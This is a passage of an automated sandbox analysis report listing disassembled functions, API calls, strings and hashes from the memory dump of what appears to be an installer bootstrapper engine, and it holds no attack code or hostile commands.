link, xrefs: 009E7172, 009E731D
version.dll, xrefs: 009E7133
author, xrefs: 009E7138, 009E726B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$Compare$Free
String ID: ($`<u$atomutil.cpp$author$cabinet.dll$category$clbcatq.dll$content$feclient.dll$link$msi.dll$published$summary$title$updated$version.dll
API String ID: 318886736-2569518843
Opcode ID: 7af43a751aa6e5fe5a18089044215bb372f87f044da26ef3ca3a8f6f485c4e01
Instruction ID: f982a675d7085a770fd785b88341a172edf527de000eebd2a20edc11d9132bf4
Opcode Fuzzy Hash: 7af43a751aa6e5fe5a18089044215bb372f87f044da26ef3ca3a8f6f485c4e01
Instruction Fuzzy Hash: 93A1923194825AFBDB229BD5CC41FAEBB69BB04730F204755F920A61D1D770EE10DB92

Function 009CD43E Relevance: 47.5, APIs: 12, Strings: 15, Instructions: 290synchronizationprocessCOMMON

Download Yara Rule

APIs

UuidCreate.RPCRT4(?), ref: 009CD4B3
StringFromGUID2.OLE32(?,?,00000027), ref: 009CD4DC
CreateProcessW.KERNEL32(?,?,00000000,00000000,00000000,08000000,00000000,00000000,?,?,?,?,?,?), ref: 009CD5C5
GetLastError.KERNEL32(?,?,?,?), ref: 009CD5CF
WaitForMultipleObjects.KERNEL32(00000002,?,00000000,00000064,?,?,?,?), ref: 009CD668
WaitForSingleObject.KERNEL32(009EB500,000000FF,?,?,?,?), ref: 009CD673
ReleaseMutex.KERNEL32(009EB500,?,?,?,?), ref: 009CD69D
GetExitCodeProcess.KERNEL32(?,?), ref: 009CD6BE
GetLastError.KERNEL32(?,?,?,?), ref: 009CD6CC
GetLastError.KERNEL32(?,?,?,?), ref: 009CD704

Part of subcall function 009CD33E: WaitForSingleObject.KERNEL32(?,000000FF,74DF30B0,00000000,?,?,?,?,009CD642,?), ref: 009CD357
Part of subcall function 009CD33E: ReleaseMutex.KERNEL32(?,?,?,?,009CD642,?), ref: 009CD375
Part of subcall function 009CD33E: WaitForSingleObject.KERNEL32(?,000000FF), ref: 009CD3B6
Part of subcall function 009CD33E: ReleaseMutex.KERNEL32(?), ref: 009CD3CD
Part of subcall function 009CD33E: SetEvent.KERNEL32(?), ref: 009CD3D6

CloseHandle.KERNEL32(00000000,?,?,?,?,?,?), ref: 009CD7B9
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?), ref: 009CD7D1

Strings

Failed to create netfx chainer guid., xrefs: 009CD4C0
%ls /pipe %ls, xrefs: 009CD57F
Failed to convert netfx chainer guid into string., xrefs: 009CD4FB
Failed to CreateProcess on path: %ls, xrefs: 009CD5FE
Failed to wait for netfx chainer process to complete, xrefs: 009CD732
Failed to get netfx return code., xrefs: 009CD6FA
Failed to process netfx chainer message., xrefs: 009CD648
Failed to allocate netfx chainer arguments., xrefs: 009CD593
NetFxEvent.%ls, xrefs: 009CD52B
D, xrefs: 009CD5AA
Failed to create netfx chainer., xrefs: 009CD55E
Failed to allocate section name., xrefs: 009CD51D
NetFxSection.%ls, xrefs: 009CD509
NetFxChainer.cpp, xrefs: 009CD4F1, 009CD5F3, 009CD6F0, 009CD728
Failed to allocate event name., xrefs: 009CD53F

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Wait$ErrorLastMutexObjectReleaseSingle$CloseCreateHandleProcess$CodeEventExitFromMultipleObjectsStringUuid
String ID: %ls /pipe %ls$D$Failed to CreateProcess on path: %ls$Failed to allocate event name.$Failed to allocate netfx chainer arguments.$Failed to allocate section name.$Failed to convert netfx chainer guid into string.$Failed to create netfx chainer guid.$Failed to create netfx chainer.$Failed to get netfx return code.$Failed to process netfx chainer message.$Failed to wait for netfx chainer process to complete$NetFxChainer.cpp$NetFxEvent.%ls$NetFxSection.%ls
API String ID: 1533322865-1825855094
Opcode ID: d0acab374c4a0d2ad8670648ced2a73b00e45b49e8b3dc54696e0fecc9f0e74b
Instruction ID: 6589fb0403579c12a928e15ca5d833fd703215a4591d116e89f0d8dea24c4d17
Opcode Fuzzy Hash: d0acab374c4a0d2ad8670648ced2a73b00e45b49e8b3dc54696e0fecc9f0e74b
Instruction Fuzzy Hash: 5BA17F72D41228ABDB219BA4CD85FAEB7B8BB44710F114569FA08FB291D7349D408F92

Function 009B54DC Relevance: 45.7, APIs: 17, Strings: 9, Instructions: 229filepipesleepCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(?,?,00000000,?,009EB500,?,00000000,?,009A452F,?,009EB500), ref: 009B54FD
GetCurrentProcessId.KERNEL32(?,009A452F,?,009EB500), ref: 009B5508
SetNamedPipeHandleState.KERNEL32(?,000000FF,00000000,00000000,?,009A452F,?,009EB500), ref: 009B553F
ConnectNamedPipe.KERNEL32(?,00000000,?,009A452F,?,009EB500), ref: 009B5554
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B555E
Sleep.KERNEL32(00000064,?,009A452F,?,009EB500), ref: 009B5593
SetNamedPipeHandleState.KERNEL32(?,00000000,00000000,00000000,?,009A452F,?,009EB500), ref: 009B55B6
WriteFile.KERNEL32(?,crypt32.dll,00000004,00000000,00000000,?,009A452F,?,009EB500), ref: 009B55D1
WriteFile.KERNEL32(?,009A452F,009EB500,00000000,00000000,?,009A452F,?,009EB500), ref: 009B55EC
WriteFile.KERNEL32(?,?,00000004,00000000,00000000,?,009A452F,?,009EB500), ref: 009B5607
ReadFile.KERNEL32(?,00000000,00000004,00000000,00000000,?,009A452F,?,009EB500), ref: 009B5622
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B567D
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B56B1
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B56E5
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B5719
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B574A
GetLastError.KERNEL32(?,009A452F,?,009EB500), ref: 009B577B

Strings

Failed to set pipe to non-blocking., xrefs: 009B57A5
Failed to reset pipe to blocking., xrefs: 009B5774
Failed to write our process id to pipe., xrefs: 009B56DB
Failed to wait for child to connect to pipe., xrefs: 009B5673
Failed to read ACK from pipe., xrefs: 009B56A7
pipe.cpp, xrefs: 009B5669, 009B569D, 009B56D1, 009B5705, 009B5739, 009B576A, 009B579B
Failed to write secret to pipe., xrefs: 009B570F
crypt32.dll, xrefs: 009B55CF
Failed to write secret length to pipe., xrefs: 009B5743

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorLast$File$NamedPipeWrite$HandleState$ConnectCurrentProcessReadSleeplstrlen
String ID: Failed to read ACK from pipe.$Failed to reset pipe to blocking.$Failed to set pipe to non-blocking.$Failed to wait for child to connect to pipe.$Failed to write our process id to pipe.$Failed to write secret length to pipe.$Failed to write secret to pipe.$crypt32.dll$pipe.cpp
API String ID: 2944378912-2047837012
Opcode ID: b43903f605471ac09adc6c46aea3738c7dc1b677398812bf7093911550889a0b
Instruction ID: 3241c27076328d2724a73d37a62e645f7bd2763e0a99580107d69ddc111f95c1
Opcode Fuzzy Hash: b43903f605471ac09adc6c46aea3738c7dc1b677398812bf7093911550889a0b
Instruction Fuzzy Hash: C571C776E45639ABDB2096A58D89BEF76ACAF44B30F134525BE10FF180DB749D0087E0

Function 009AA416 Relevance: 44.0, APIs: 8, Strings: 17, Instructions: 299registryCOMMON

Download Yara Rule

APIs

_MREFOpen@16.MSPDB140-MSVCRT ref: 009AA45A
_MREFOpen@16.MSPDB140-MSVCRT ref: 009AA480
RegCloseKey.ADVAPI32(00000000,?,00000000,?,?,?,?,?), ref: 009AA768

Strings

Failed to allocate memory registry value., xrefs: 009AA587
Failed to change value type., xrefs: 009AA70F
Failed to format key string., xrefs: 009AA465
Failed to get expand environment string., xrefs: 009AA6DD
Failed to query registry key value size., xrefs: 009AA554
Failed to query registry key value., xrefs: 009AA5DA
Unsupported registry key value type. Type = '%u', xrefs: 009AA608
Failed to open registry key., xrefs: 009AA4ED
RegistrySearchValue failed: ID '%ls', HRESULT 0x%x, xrefs: 009AA740
Registry key not found. Key = '%ls', xrefs: 009AA4B4
search.cpp, xrefs: 009AA54A, 009AA57D, 009AA5D0, 009AA6D3
Failed to set variable., xrefs: 009AA72B
Registry value not found. Key = '%ls', Value = '%ls', xrefs: 009AA51C
Failed to allocate string buffer., xrefs: 009AA667
Failed to clear variable., xrefs: 009AA4D8
Failed to format value string., xrefs: 009AA48B
Failed to read registry value., xrefs: 009AA6F6

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Open@16$Close
String ID: Failed to allocate memory registry value.$Failed to allocate string buffer.$Failed to change value type.$Failed to clear variable.$Failed to format key string.$Failed to format value string.$Failed to get expand environment string.$Failed to open registry key.$Failed to query registry key value size.$Failed to query registry key value.$Failed to read registry value.$Failed to set variable.$Registry key not found. Key = '%ls'$Registry value not found. Key = '%ls', Value = '%ls'$RegistrySearchValue failed: ID '%ls', HRESULT 0x%x$Unsupported registry key value type. Type = '%u'$search.cpp
API String ID: 2348241696-3124384294
Opcode ID: f760a84c86347aa190eaa05111b60e9fd05b09e0c96afaa515f8ba160678e269
Instruction ID: 4d3ca41552e13e92fade0fe79d2ef8a78781f07488ad65760fd554de4a41b6fd
Opcode Fuzzy Hash: f760a84c86347aa190eaa05111b60e9fd05b09e0c96afaa515f8ba160678e269
Instruction Fuzzy Hash: 12A1F672D00229BBCF229AE5CC45FAFBA78AF4A710F158521F910BA151D7759E00DBE2

Function 009A5770 Relevance: 42.5, APIs: 5, Strings: 19, Instructions: 479stringCOMMONLIBRARYCODE

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(00000100,00000100,00000100,00000000,00000000,00000000,?,009AA8B4,00000100,000002C0,000002C0,00000100), ref: 009A5795
lstrlenW.KERNEL32(000002C0,?,009AA8B4,00000100,000002C0,000002C0,00000100), ref: 009A579F
_wcschr.LIBVCRUNTIME ref: 009A59A7
LeaveCriticalSection.KERNEL32(00000100,00000000,000002C0,000002C0,00000000,000002C0,00000001,?,009AA8B4,00000100,000002C0,000002C0,00000100), ref: 009A5C4A

Strings

Failed to format record., xrefs: 009A5C0E
Failed to get variable name., xrefs: 009A5A8C
Failed to allocate string., xrefs: 009A5BC1
Failed to get formatted length., xrefs: 009A5B92
Failed to allocate variable array., xrefs: 009A5A85
Failed to copy string., xrefs: 009A5C2E
*****, xrefs: 009A5913
Failed to append placeholder., xrefs: 009A5A4D
Failed to set record format string., xrefs: 009A5AD4
[%d], xrefs: 009A5962
Failed to append string., xrefs: 009A581B
Failed to format placeholder string., xrefs: 009A5A57
Failed to reallocate variable array., xrefs: 009A5A2C
Failed to set variable value., xrefs: 009A5A61
Failed to allocate record., xrefs: 009A5A0B
variable.cpp, xrefs: 009A59FE, 009A5A1F, 009A5A78, 009A5ACA, 009A5B56, 009A5B88, 009A5C04
Failed to set record string., xrefs: 009A5B60
Failed to determine variable visibility: '%ls'., xrefs: 009A5A3A
Failed to allocate buffer for format string., xrefs: 009A57BD

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: CriticalSection$EnterLeave_wcschrlstrlen
String ID: *****$Failed to allocate buffer for format string.$Failed to allocate record.$Failed to allocate string.$Failed to allocate variable array.$Failed to append placeholder.$Failed to append string.$Failed to copy string.$Failed to determine variable visibility: '%ls'.$Failed to format placeholder string.$Failed to format record.$Failed to get formatted length.$Failed to get variable name.$Failed to reallocate variable array.$Failed to set record format string.$Failed to set record string.$Failed to set variable value.$[%d]$variable.cpp
API String ID: 1026845265-2050445661
Opcode ID: 4f02db026b47ca2de32c2f911f70579fc33305cf847bb2ccf2d0c562b770f4c7
Instruction ID: ba024a86649102265806c65483f48726f5b0c30b73e08f3eba6e47dbf5f81d37
Opcode Fuzzy Hash: 4f02db026b47ca2de32c2f911f70579fc33305cf847bb2ccf2d0c562b770f4c7
Instruction Fuzzy Hash: C2F1C771A01659EFCF11DFA58841EAF7BB8EB85B20F168529FD14AB240D7349E01CBE0

Function 009CCE81 Relevance: 40.5, APIs: 12, Strings: 11, Instructions: 240synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

CreateEventW.KERNEL32(00000000,00000000,00000000,?,00000000,00000018,00000001,?,00000000,?,?,009CD558,?,?,?), ref: 009CCEC7
GetLastError.KERNEL32(?,?,009CD558,?,?,?), ref: 009CCED4
ReleaseMutex.KERNEL32(?), ref: 009CD13C

Strings

Failed to create event: %ls, xrefs: 009CCF67
failed to allocate memory for mutex name, xrefs: 009CCF89
%ls_send, xrefs: 009CCF06
Failed to memory map cabinet file: %ls, xrefs: 009CD028
Failed to MapViewOfFile for %ls., xrefs: 009CD070
Failed to allocate memory for NetFxChainer struct., xrefs: 009CCEAD
failed to allocate memory for event name, xrefs: 009CCF1A
%ls_mutex, xrefs: 009CCF75
NetFxChainer.cpp, xrefs: 009CCEA3, 009CCEF5, 009CCF5A, 009CCFC9, 009CD01B, 009CD063
failed to copy event name to shared memory structure., xrefs: 009CD09A
Failed to create mutex: %ls, xrefs: 009CCFD6

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: Heap$AllocateCreateErrorEventLastMutexProcessRelease
String ID: %ls_mutex$%ls_send$Failed to MapViewOfFile for %ls.$Failed to allocate memory for NetFxChainer struct.$Failed to create event: %ls$Failed to create mutex: %ls$Failed to memory map cabinet file: %ls$NetFxChainer.cpp$failed to allocate memory for event name$failed to allocate memory for mutex name$failed to copy event name to shared memory structure.
API String ID: 3944734951-2991465304
Opcode ID: 4a560dbf56ba6b214f1ccbe4a66cdbac7e6c5a094abf695eb8b8b2a563100b9a
Instruction ID: 193922f643e7d6f63d63bffb20abb198a6c6ab5c00c452dd3a90b2c2b39ee298
Opcode Fuzzy Hash: 4a560dbf56ba6b214f1ccbe4a66cdbac7e6c5a094abf695eb8b8b2a563100b9a
Instruction Fuzzy Hash: FC8149B6E45726BBC7218B698C49F5BBEA4BF05720F014529FE18AB381D734DD00CAE5

Function 009AEA42 Relevance: 40.5, APIs: 4, Strings: 19, Instructions: 231COMMON

Download Yara Rule

APIs

Part of subcall function 009E32F3: VariantInit.OLEAUT32(?), ref: 009E3309
Part of subcall function 009E32F3: SysAllocString.OLEAUT32(?), ref: 009E3325
Part of subcall function 009E32F3: VariantClear.OLEAUT32(?), ref: 009E33AC
Part of subcall function 009E32F3: SysFreeString.OLEAUT32(00000000), ref: 009E33B7

CompareStringW.KERNEL32(0000007F,00000000,000000FF,000000FF,Detect,000000FF,?,009ECA9C,?,?,Action,?,?,?,00000000,009A5445), ref: 009AEB13
CompareStringW.KERNEL32(0000007F,00000000,?,000000FF,Upgrade,000000FF), ref: 009AEB5D

Strings

Failed to get RelatedBundle element count., xrefs: 009AEA97
Failed to get RelatedBundle nodes, xrefs: 009AEA72
Failed to resize Detect code array in registration, xrefs: 009AEC2E
Detect, xrefs: 009AEB04
Action, xrefs: 009AEAD0
RelatedBundle, xrefs: 009AEA50
Upgrade, xrefs: 009AEB50
Invalid value for @Action: %ls, xrefs: 009AEC52
Patch, xrefs: 009AEBDD
comres.dll, xrefs: 009AEB26
cabinet.dll, xrefs: 009AEBBA
Failed to get @Action., xrefs: 009AEC69
Failed to resize Patch code array in registration, xrefs: 009AEC43
Failed to get next RelatedBundle element., xrefs: 009AEC70
Failed to resize Upgrade code array in registration, xrefs: 009AEC35
Addon, xrefs: 009AEB9A
version.dll, xrefs: 009AEB70
Failed to get @Id., xrefs: 009AEC62
Failed to resize Addon code array in registration, xrefs: 009AEC3C

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: String$CompareVariant$AllocClearFreeInit
String ID: Action$Addon$Detect$Failed to get @Action.$Failed to get @Id.$Failed to get RelatedBundle element count.$Failed to get RelatedBundle nodes$Failed to get next RelatedBundle element.$Failed to resize Addon code array in registration$Failed to resize Detect code array in registration$Failed to resize Patch code array in registration$Failed to resize Upgrade code array in registration$Invalid value for @Action: %ls$Patch$RelatedBundle$Upgrade$cabinet.dll$comres.dll$version.dll
API String ID: 702752599-259800149
Opcode ID: 0fcd771e0da1b41fafd88539b894f7de07635e467f96326df90b7a7b08bf3253
Instruction ID: 25d936380dfbda54975081165965cc42c87ba6db87108b19e6f4ec9c5c563d21
Opcode Fuzzy Hash: 0fcd771e0da1b41fafd88539b894f7de07635e467f96326df90b7a7b08bf3253
Instruction Fuzzy Hash: 2E718C31A0462AFBCB11DFA4C945EAEB7B4FB46724F204254FA61A72C1D774AE11CBD0

Function 009B46DC Relevance: 36.9, APIs: 10, Strings: 11, Instructions: 185fileCOMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32(?,8000FFFF,feclient.dll,?,009B4BF5,009EB4E8,?,feclient.dll,00000000,?,?), ref: 009B46F3
ReadFile.KERNEL32(feclient.dll,feclient.dll,00000004,?,00000000,?,009B4BF5,009EB4E8,?,feclient.dll,00000000,?,?), ref: 009B4714
GetLastError.KERNEL32(?,009B4BF5,009EB4E8,?,feclient.dll,00000000,?,?), ref: 009B471A
ReadFile.KERNEL32(feclient.dll,00000000,009EB518,?,00000000,00000000,009EB519,?,009B4BF5,009EB4E8,?,feclient.dll,00000000,?,?), ref: 009B47A8
GetLastError.KERNEL32(?,009B4BF5,009EB4E8,?,feclient.dll,00000000,?,?), ref: 009B47AE

Strings

feclient.dll, xrefs: 009B46E2, 009B4712, 009B4713, 009B47A7, 009B482C, 009B4882
Failed to read verification process id from parent pipe., xrefs: 009B4861
Failed to read verification secret from parent pipe., xrefs: 009B47DC
Failed to read size of verification secret from parent pipe., xrefs: 009B4748
Verification process id from parent does not match., xrefs: 009B48FD
Failed to allocate buffer for verification secret., xrefs: 009B4791
Failed to inform parent process that child is running., xrefs: 009B48BB
Verification secret from parent is too big., xrefs: 009B4775
pipe.cpp, xrefs: 009B473E, 009B4769, 009B47D2, 009B480A, 009B4857, 009B48B1, 009B48F1
Verification secret from parent does not match., xrefs: 009B4816
msasn1.dll, xrefs: 009B482B

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: ErrorFileLastRead$CurrentProcess
String ID: Failed to allocate buffer for verification secret.$Failed to inform parent process that child is running.$Failed to read size of verification secret from parent pipe.$Failed to read verification process id from parent pipe.$Failed to read verification secret from parent pipe.$Verification process id from parent does not match.$Verification secret from parent does not match.$Verification secret from parent is too big.$feclient.dll$msasn1.dll$pipe.cpp
API String ID: 1233551569-452622383
Opcode ID: 942b62290ab71fbe150aff62192f2e389f5f5807e1a7a085a6c4c55613801b6a
Instruction ID: 28e3c9d792362b0ca960dbad1d9688f061fc08a591ad6fac7bc8c3acb83c8536
Opcode Fuzzy Hash: 942b62290ab71fbe150aff62192f2e389f5f5807e1a7a085a6c4c55613801b6a
Instruction Fuzzy Hash: AE51E736E84269B7DB219AD58D86FBF766CAB81B30F110125FF10BB182D7749D00A7E1

Function 009C27FC Relevance: 36.9, APIs: 3, Strings: 18, Instructions: 145COMMON

Download Yara Rule

Strings

Failed to get @UninstallArguments., xrefs: 009C2869
none, xrefs: 009C2936
Protocol, xrefs: 009C28C3
Invalid protocol type: %ls, xrefs: 009C295C
InstallArguments, xrefs: 009C2836
DetectCondition, xrefs: 009C2814
RepairArguments, xrefs: 009C287A
Failed to get @DetectCondition., xrefs: 009C2825
Failed to parse exit codes., xrefs: 009C290C
burn, xrefs: 009C28E0
Failed to get @Repairable., xrefs: 009C28B5
Failed to get @RepairArguments., xrefs: 009C288B
netfx4, xrefs: 009C2915
Failed to get @InstallArguments., xrefs: 009C2847
Failed to get @Protocol., xrefs: 009C2974
Failed to parse command lines., xrefs: 009C2988
Repairable, xrefs: 009C289C
UninstallArguments, xrefs: 009C2858

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: StringVariant$AllocClearFreeInit
String ID: DetectCondition$Failed to get @DetectCondition.$Failed to get @InstallArguments.$Failed to get @Protocol.$Failed to get @RepairArguments.$Failed to get @Repairable.$Failed to get @UninstallArguments.$Failed to parse command lines.$Failed to parse exit codes.$InstallArguments$Invalid protocol type: %ls$Protocol$RepairArguments$Repairable$UninstallArguments$burn$netfx4$none
API String ID: 760788290-1911311241
Opcode ID: 0395825583aa3fafdf81482f139d558f9d2de2a90fdd3537017184708745b0b7
Instruction ID: 032a59f1135dc2ae60243d7f2dfbc22f904f810329de60b4b2bb669704a03dd5
Opcode Fuzzy Hash: 0395825583aa3fafdf81482f139d558f9d2de2a90fdd3537017184708745b0b7
Instruction Fuzzy Hash: 91411A71E8876AB6CA215B64CD02F7AB2586B51B34F240329FB24BB2D5CB749D0093D3

Function 009A8F72 Relevance: 35.4, APIs: 8, Strings: 12, Instructions: 430COMMON

Download Yara Rule

APIs

GetStringTypeW.KERNEL32(00000001,56009EDB,00000001,?,009A9946,?,00000000,00000000,?,?,009A992E,?,?,00000000,?), ref: 009A8FB2

Strings

condition.cpp, xrefs: 009A9084, 009A914E, 009A91CA, 009A922E, 009A936C, 009A93B0, 009A93F4
Failed to parse condition "%ls". Invalid version format, at position %d., xrefs: 009A9242
Failed to parse condition "%ls". Unexpected '~' operator at position %d., xrefs: 009A9408
AND, xrefs: 009A92BC
NOT, xrefs: 009A92DB
Failed to parse condition "%ls". Version can have a maximum of 4 parts, at position %d., xrefs: 009A91DE
Failed to parse condition "%ls". Identifier cannot start at a digit, at position %d., xrefs: 009A93C4
Failed to set symbol value., xrefs: 009A9060
-, xrefs: 009A9118
Failed to parse condition "%ls". Constant too big, at position %d., xrefs: 009A9380
Failed to parse condition "%ls". Unterminated literal at position %d., xrefs: 009A9098
Failed to parse condition "%ls". Unexpected character at position %d., xrefs: 009A9162

Memory Dump Source

Source File: 00000010.00000002.2205818822.00000000009A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 009A0000, based on PE: true

Associated: 00000010.00000002.2205726056.00000000009A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206367024.00000000009EB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2206546436.0000000000A0A000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000010.00000002.2207037303.0000000000A0D000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_9a0000_IMAKBWPY.jbxd

Similarity

API ID: StringType
String ID: -$AND$Failed to parse condition "%ls". Constant too big, at position %d.$Failed to parse condition "%ls". Identifier cannot start at a digit, at position %d.$Failed to parse condition "%ls". Invalid version format, at position %d.$Failed to parse condition "%ls". Unexpected '~' operator at position %d.$Failed to parse condition "%ls". Unexpected character at position %d.$Failed to parse condition "%ls". Unterminated literal at position %d.$Failed to parse condition "%ls". Version can have a maximum of 4 parts, at position %d.$Failed to set symbol value.$NOT$condition.cpp
API String ID: 4177115715-3594736606
Opcode ID: 26fa86fa2be5e95bd23b9cc1a75898fbd389d9c94424796a95c243647413b5b6
Instruction ID: bb6fc3a2c2ac4db40f2bbc519c8a7ae700ef1d804a973148bd0747deeb9118da
Opcode Fuzzy Hash: 26fa86fa2be5e95bd23b9cc1a75898fbd389d9c94424796a95c243647413b5b6
Instruction Fuzzy Hash: 97F11271604221FFDB25CF99C889BBA7BA8FF0A704F104945F9159E690C3B9DA91CBC0

Function 009C1BB1 Relevance: 35.2, APIs: 4, Strings: 16, Instructions: 212COMMON

Download Yara Rule

APIs

Part of subcall function 009A394F: GetProcessHeap.KERNEL32(?,000001C7,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3960
Part of subcall function 009A394F: RtlAllocateHeap.NTDLL(00000000,?,009A2274,000001C7,00000001,80004005,8007139F,?,?,009E0267,8007139F,?,00000000,00000000,8007139F), ref: 009A3967

